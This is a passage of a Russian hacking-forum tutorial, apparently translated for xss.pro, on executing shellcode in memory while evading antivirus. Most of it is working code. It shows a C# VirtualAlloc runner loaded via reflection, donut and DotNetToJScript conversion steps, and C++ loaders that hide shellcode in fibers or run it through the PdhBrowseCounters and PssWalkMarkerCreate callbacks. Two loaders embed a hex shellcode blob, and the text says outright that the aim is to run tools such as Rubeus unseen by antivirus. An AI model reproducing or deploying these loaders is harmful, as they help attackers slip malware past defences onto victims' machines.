[INDENT=5][SIZE=5](uint)x86shc.Length,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]0x1000, 0x40);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]Marshal.Copy(x86shc, 0, (IntPtr)(funcAddr), x86shc.Length);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]pFunc f = (pFunc)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(pFunc));[/SIZE][/INDENT]
[INDENT=5][SIZE=5]         f();[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]return;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]     }[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]#region pinvokes[/SIZE][/INDENT]
[INDENT=5][SIZE=5][DllImport("kernel32.dll")][/SIZE][/INDENT]
[INDENT=5][SIZE=5]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]delegate void pFunc();[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]#endregion[/SIZE][/INDENT]
[INDENT=5][SIZE=5]}[/SIZE][/INDENT]
[INDENT=5][SIZE=5]}[/SIZE][/SIZE][/INDENT]
[INDENT=5][SIZE=5][INDENT=5][SIZE=5]
Теперь мы преобразуем байты этой сборки с помощью описанного выше алгоритма в строку base64 и запустим ее через System.Reflection.Assembly:



image.png





Отлично! Запуск тестового шеллкода работает. Пришло время перейти к генерации собственного пользовательского шеллкода. Для начала определимся с программой. Я предлагаю написать что-то более-менее серьезное, чтобы наверняка проверить теорию. Мы используем графику, различные вызовы API, циклы, обратные вызовы и всякие другие странные вещи:



image.png





C++:
[/SIZE][/SIZE][/INDENT][/SIZE][/INDENT]
[INDENT=5][SIZE=5][SIZE=5]#include <Windows.h>[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)[/SIZE][/INDENT]
[INDENT=5][SIZE=5]{[/SIZE][/INDENT]
[INDENT=5][SIZE=5]HWND hwnd;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]WNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_HREDRAW | CS_VREDRAW, WindowProc, 0, 0, hInstance, NULL, LoadCursor(NULL, IDC_ARROW), NULL, NULL, L"MyWindowClass", NULL };[/SIZE][/INDENT]
[INDENT=5][SIZE=5]    RegisterClassEx(&wc);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]hwnd = CreateWindowEx(0, L"MyWindowClass", L"Pixel Drawing", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600, NULL, NULL, hInstance, NULL);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]ShowWindow(hwnd, nCmdShow);[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]HDC hdc = GetDC(hwnd);[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]for (int x = 0; x < 800; x++)[/SIZE][/INDENT]
[INDENT=5][SIZE=5]{[/SIZE][/INDENT]
[INDENT=5][SIZE=5]for (int y = 0; y < 600; y++)[/SIZE][/INDENT]
[INDENT=5][SIZE=5]     {[/SIZE][/INDENT]
[INDENT=5][SIZE=5]SetPixel(hdc, x, y, RGB(x % 256, y % 256, (x + y) % 256)); // Задаем цвет пикселя[/SIZE][/INDENT]
[INDENT=5][SIZE=5]     }[/SIZE][/INDENT]
[INDENT=5][SIZE=5]}[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]MSG msg;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]while (GetMessage(&msg, NULL, 0, 0))[/SIZE][/INDENT]
[INDENT=5][SIZE=5]{[/SIZE][/INDENT]
[INDENT=5][SIZE=5]        TranslateMessage(&msg);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]        DispatchMessage(&msg);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]}[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]ReleaseDC(hwnd, hdc);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]UnregisterClass(L"MyWindowClass", hInstance);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]return 0;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]}[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)[/SIZE][/INDENT]
[INDENT=5][SIZE=5]{[/SIZE][/INDENT]
[INDENT=5][SIZE=5]switch (uMsg)[/SIZE][/INDENT]
[INDENT=5][SIZE=5]{[/SIZE][/INDENT]
[INDENT=5][SIZE=5]case WM_DESTROY:[/SIZE][/INDENT]
[INDENT=5][SIZE=5]PostQuitMessage(0);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]return 0;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]}[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]return DefWindowProc(hwnd, uMsg, wParam, lParam);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]}[/SIZE][/SIZE][/INDENT]
[INDENT=5][SIZE=5][INDENT=5][SIZE=5]
Скомпилируем, после чего нужно преобразовать программу в шелл-код. Для этого существует множество готовых инструментов:

Мы даже можем использовать Visual Studio для генерации шеллкода, об этом подробно написано в этой статье. Я человек простой, поэтому предлагаю использовать стандартный donut:
donut.exe -i CodeToShc.exe -o code.bin -b 1



image.png




Затем переведем из формата .bin в шестнадцатеричный шеллкод, который можно вставить в программу:
xxd -i code.bin > 1.h
Файл будет содержать шелл-код нашей программы:



image.png




Добавим шеллкод в shellcode-runner и проверим, что все работает



image.png




Осталось только получить байты сборки и запустить ее через System.Reflection.Assembly:



image.png




И мы получаем успешную сборку с шеллкодом



image.png




Благодаря такому способу запуска шеллкода антивирусы не могут обнаружить этот метод иньекции



image.png
:






Converting to JScript

Существует способ запуска сборок .NET через преобразование в JScript, для этого используется следующий инструмент
Прежде всего, скачайте проект по ссылке выше, откройте его в Studio, перейдите в Solution Explorer → щелкните на TestClass.cs в проекте ExampleAssembly. Выберите компиляцию как .dll.
Затем наш код нужно вставить в класс TestClass(), например, следующий код выводит окно с сообщением:

C#:
[/SIZE][/INDENT]
[SIZE=5]using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
[ComVisible(true)]
public class TestClass
{
public TestClass()
             {
MessageBox.Show("Test", "Test", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
             }
public void RunProcess(string path)
             {
                            Process.Start(path);
             }
}[/SIZE]
[INDENT=5][SIZE=5]
После успешной компиляции в формат .dll используем инструментарий, загруженный выше, для конвертации в js:

Код:
[/SIZE][/INDENT]
[SIZE=5]DotNetToJScript.exe <path to our DLL> --lang=Jscript --ver=<.NET Framework version> -o demo.js

# Ex
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js
[INDENT=5]



Полученный .js-файл можно смело запускать, что приведет к выполнению кода из TestClass(), а именно - появлению MessageBox.

Fibers

Fibers - это единица выполнения кода, подобная процессу или потоку. Fiber работает в рамках конкретного потока. То есть строится иерархия процесс → поток → fiber (или волокно, как больше нравится). В рамках одного потока может быть несколько волокон. А управление и контроль за волокнами осуществляется самим приложением, а не операционной системой. С помощью волокон можно построить более гибкие механизмы синхронизации, поскольку у них есть собственный стек и регистры. Волокна удобно использовать для скрытия выполнения кода, так как выполнение кода внутри волокон отследить гораздо сложнее, чем выполнение кода внутри потока. Теперь самое интересное: стек волокон, как только волокно завершит свою работу, будет очищен. Это затруднит обнаружение вредоносной активности в нашем софте антивирусными программами.
Если волокно внутри себя вызывает другое волокно, стек не будет очищен. Значения стека и регистров будут переключены на те, которые должны быть в волокне, на которое вы переключились. Например, если в главном потоке значение регистра EAX равно 0x00, волокно 1 имеет значение 0x01, а волокно 2 - 0x02, то при переключении главного потока на волокно 1 значение регистра EAX станет 0x01, а при переключении с волокна 1 на волокно 2 - 0x02. После завершения работы волокна 2 оно примет значение волокна 1 и т. д.
В идеале, чтобы скрыть полезную нагрузку от АВ, нужно поместить ее куда-нибудь в файл - например, в PE, в соседнюю библиотеку DLL или куда-нибудь еще. Затем запустить кучу потоков, кучу волокон в них, и полезную нагрузку в некоторых волокнах.
Волокна поддерживаются как в C#, так и в C++. Для разнообразия я предлагаю написать этот PoC на C++. Итак, основная функция для работы с волокнами - CreateFiber():

C++:
[/SIZE][/INDENT]
[SIZE=5]LPVOID CreateFiber(
  [in]        SIZE_T             dwStackSize,
  [in]        LPFIBER_START_ROUTINE lpStartAddress,
  [in, optional] LPVOID             lpParameter
);[/SIZE]
[INDENT=5][SIZE=5]
  • dwStackSize — начальный размер стека;
  • LPFIBER_START_ROUTINE — функция обратного вызова, которая будет считаться главной функцией волокна. Она вызывается при запуске волокна;
  • lpParameter — some additional data that we want to pass to fiber.
После создания волокна его можно запустить с помощью функции SwitchToFiber(). Обратите внимание, что эту функцию нельзя вызывать непосредственно из потока - не произойдет перехода управляющего потока. Поэтому необходимо предварительно преобразовать текущий поток в волокно с помощью ConvertThreadToFiber().
Волокна отлично подходят для выполнения нашей полезной нагрузки в памяти, поскольку они достаточно хорошо защищены. Я предлагаю начать писать простой PoC с десятью потоками и десятью волокнами, но только одно из волокон будет выполнять наш шеллкод.
Для синхронизации я предлагаю использовать mutex. Создадим mutex в начале нашей программы, а затем выдернем его перед запуском шеллкода, чтобы предотвратить его повторное выполнение.

C++:
[/SIZE][/INDENT]
[SIZE=5]#include <windows.h>
#include <vector>
#include <thread>

#define DEBUG

size_t numOfThreads = 10;
size_t numOfFibers = 10;

unsigned char shc[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6,\x00";

DWORD WINAPI threadProc(VOID*);
VOID WINAPI fiberProc(LPVOID);

HANDLE hMutex;

int main() {
std::vector<HANDLE> threads(numOfThreads);
hMutex = CreateMutex(NULL, FALSE, L"Mutex");
for (auto& thread : threads)
{
thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadProc, NULL, 0, NULL);
}

for (auto& thread : threads)
{
WaitForSingleObject(thread, INFINITE);
}


return 0;
}

DWORD WINAPI threadProc(LPVOID lpParam) {
std::vector<PVOID> fibers(numOfFibers);
ConvertThreadToFiber(NULL);



for (int i = 0; i < numOfFibers; ++i)
    {
fibers[i] = CreateFiber(0, (LPFIBER_START_ROUTINE)fiberProc, (LPVOID)i);
     
}

while (true)
{
for (auto& fiber : fibers)
     {
SwitchToFiber(fiber);
     }
}

return 0;
}

VOID WINAPI fiberProc(LPVOID lpParam) {
WaitForSingleObject(hMutex, INFINITE);
hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, L"Mutex");
if (hMutex)
{
PVOID payload_mem = VirtualAlloc(0, sizeof(shc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(payload_mem, shc, sizeof(shc));
((void(*)())payload_mem)();
}
}[/SIZE]
[INDENT=5][SIZE=5]
Все, что нам нужно сделать, - это заменить шеллкод на шеллкод Rubeus. Благодаря такому серьезному сокрытию кода мы успешно выполняем его в памяти и остаемся вне поля зрения антивируса:




image.png






Special Loaders


Существует целый класс программ, так называемых Reflective Loader'ов, которые позволяют загружать код в память. Рефлективная загрузка кода в память основана на том, что разработчик в одиночку создает алгоритм для помещения PE-файла в память - так же, как это делает сама Windows. Или, по крайней мере, на таком уровне, чтобы полезная нагрузка могла выполняться.
На Github есть довольно много готовых PoC, я выделю наиболее интересные из них:
  • Invoke-ReflectivePEInjection — Powershell Reflective PE Loader;
  • RunPE — подходит для выполнения как управляемого, так и нативного кода;
  • FilelessPELoader — Одна из самых сильных реализаций. Принимает полезную нагрузку с удаленного сервера.
Более того, мы можем отдельно выделить класс программ, которые служат для рефлексивной реализации DLL:
Тем не менее, иногда все эти специальные загрузчики оказываются бесполезными. В большинстве случаев достаточно перевести программу в шеллкод при пентесте, а затем каким-то образом заставить систему ее выполнить. Но если вы просто сойдете с натоптаной тропы и воспользуетесь неизвестным ранее методом запуска шеллкода, то, скорее всего, сможете обойти антивирус.
Например, вы можете искать функции, которые принимают обратный вызов в качестве одного из своих параметров. В Windows существует множество функций GUI и GUI-приложений, которые принимают обратные вызовы. Например, функция PdhBrowseCounters() может использоваться для отображения специального диалогового окна, в котором мы можем выбрать интересующие нас счетчики производительности для программы мониторинга системных ресурсов. Функция принимает структуру PDH_BROWSE_DLG_CONFIG, одним из элементов которой является pCallback.
Единственная проблема заключается в том, что этот обратный вызов вызывается только после того, как пользователь выберет нужные счетчики производительности. Опять же, мы можем выбрать эти счетчики для пользователя, а затем с помощью SendMessage() имитировать отправку сообщения о выборе счетчика в нужное окно.
Вот полный код программы, вам нужно только снова заменить шеллкод:

C++:
[/SIZE][/INDENT]
[SIZE=5]#include <windows.h>
#include <pdh.h>
#include <pdhmsg.h>
#include <stdio.h>
#include <iostream>

#pragma comment(lib, "pdh.lib")



DWORD WINAPI ThreadFunction(LPVOID lpParam)
{
Sleep(5000);
HWND hwnd = NULL;
hwnd = FindWindow(NULL, L"s");
ShowWindow(hwnd, SW_HIDE);
if (hwnd)
{
HWND hwndButton = FindWindowEx(hwnd, NULL, L"Button", L"OK");

if (hwndButton)
     {
SendMessage(hwndButton, BM_CLICK, 0, 0);
     }
}
return 0;
}
void ShowCounterBrowser()
{

    PDH_BROWSE_DLG_CONFIG dlg;

ZeroMemory(&dlg, sizeof(PDH_BROWSE_DLG_CONFIG));
unsigned char AbcdVar[] = "<SHELLCODE HERE>";
PVOID addr = VirtualAlloc(0, sizeof(AbcdVar), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(addr, AbcdVar, sizeof(AbcdVar));
dlg.pCallBack = (CounterPathCallBack)addr;
dlg.dwCallBackArg = NULL;

dlg.bIncludeInstanceIndex = FALSE;
dlg.bSingleCounterPerAdd = TRUE;
dlg.bSingleCounterPerDialog = TRUE;
dlg.bLocalCountersOnly = FALSE;
dlg.bWildCardInstances = TRUE;
dlg.bHideDetailBox = TRUE;
dlg.bInitializePath = FALSE;
    dlg.dwDefaultDetailLevel = PERF_DETAIL_WIZARD;
dlg.szReturnPathBuffer = new wchar_t[PDH_MAX_COUNTER_PATH + 1];
    dlg.cchReturnPathLength = PDH_MAX_COUNTER_PATH;
HANDLE hThread = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);

if (PdhBrowseCounters(&dlg) == ERROR_SUCCESS)
{
printf("Chosen counter: %s\n", dlg.szReturnPathBuffer);
}
else
{
printf("No counter chosen\n");
}

delete[] dlg.szReturnPathBuffer;
}

int main()
{
    ShowCounterBrowser();
return 0;
}[/SIZE]
[INDENT=5][SIZE=5]

Или пусть это будет функция PssCaptureSnapshot(), которая позволяет нам создавать различные снепшоты процесса. После этого, чтобы получить информацию о снэпшоте, можно пробежаться по нему с помощью функции PssWalkMarkerCreate(), которой в качестве первого параметра необходимо передать структуру PSS_ALLOCATOR, внутри которой указываются обратные вызовы. Сами эти обратные вызовы нужны для пользовательской реализации функций выделения и освобождения памяти при работе системы со снэпшотом, но ничто не помешает нам прописать туда наш шеллкод:

C++:
[/SIZE][/INDENT]
[SIZE=5]#include <Windows.h>
#include <processsnapshot.h>
#include <iostream>

// Function To Rewrite
VOID* CALLBACK AllocRoutine(void* Context, DWORD Size)
{
MessageBox(NULL, L"AllocRoutine function is called!", L"Information", MB_ICONINFORMATION);
return (HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size));
}

int main()
{
DWORD ProcessId = GetCurrentProcessId();
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if (hProcess == NULL)
{
std::cerr << "Could not open the process." << std::endl;
return 1;
}

HPSS SnapshotHandle = NULL;
PSS_CAPTURE_FLAGS CaptureFlags = PSS_CAPTURE_NONE;
DWORD SnapshotFlags = 0;
DWORD Result = PssCaptureSnapshot(hProcess, CaptureFlags, SnapshotFlags, &SnapshotHandle);
if (Result != ERROR_SUCCESS)
{
std::cerr << "Could not create the process snapshot. Error: " << Result << std::endl;
return 1;
}

PSS_ALLOCATOR Allocator;

    Allocator.AllocRoutine = AllocRoutine;
Allocator.FreeRoutine = NULL;
unsigned char shellcode[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6,\x00";
DWORD old;
VirtualProtect(AllocRoutine, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &old);
memcpy(AllocRoutine, shellcode, sizeof(shellcode));
HPSSWALK WalkMarkerHandle;
Result = PssWalkMarkerCreate(&Allocator, &WalkMarkerHandle);
if (Result != ERROR_SUCCESS)
{
std::cerr << "Could not create the walk marker. Error: " << Result << std::endl;
return 1;
}
PssFreeSnapshot(GetCurrentProcess(), SnapshotHandle);
CloseHandle(hProcess);
return 0;
}[/SIZE]
[INDENT=5][SIZE=5]
Как видите, размах воображения может быть любым, его никто и ничто не ограничивает. Самое главное - не бояться экспериментировать и творить.
Заключение
Подводя итог, можно сделать вывод, что методы выполнения in-memory обычно сводятся либо к использованию возможностей языка программирования, функционал которого позволяет выполнять операции без взаимодействия с диском, либо к генерации шелл-кода из исполняемой программы. С другой стороны, явное присутствие шеллкода - плохая практика, поэтому его нужно всячески маскировать, но об этом мы поговорим как-нибудь в следующий раз.

Модераторы, в код добавилась форматировка, вручную удяляю она снова появляется, почистите пожалуйста​
спижжено и переведено simplestop для достопочтенной публики форума xss.pro
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх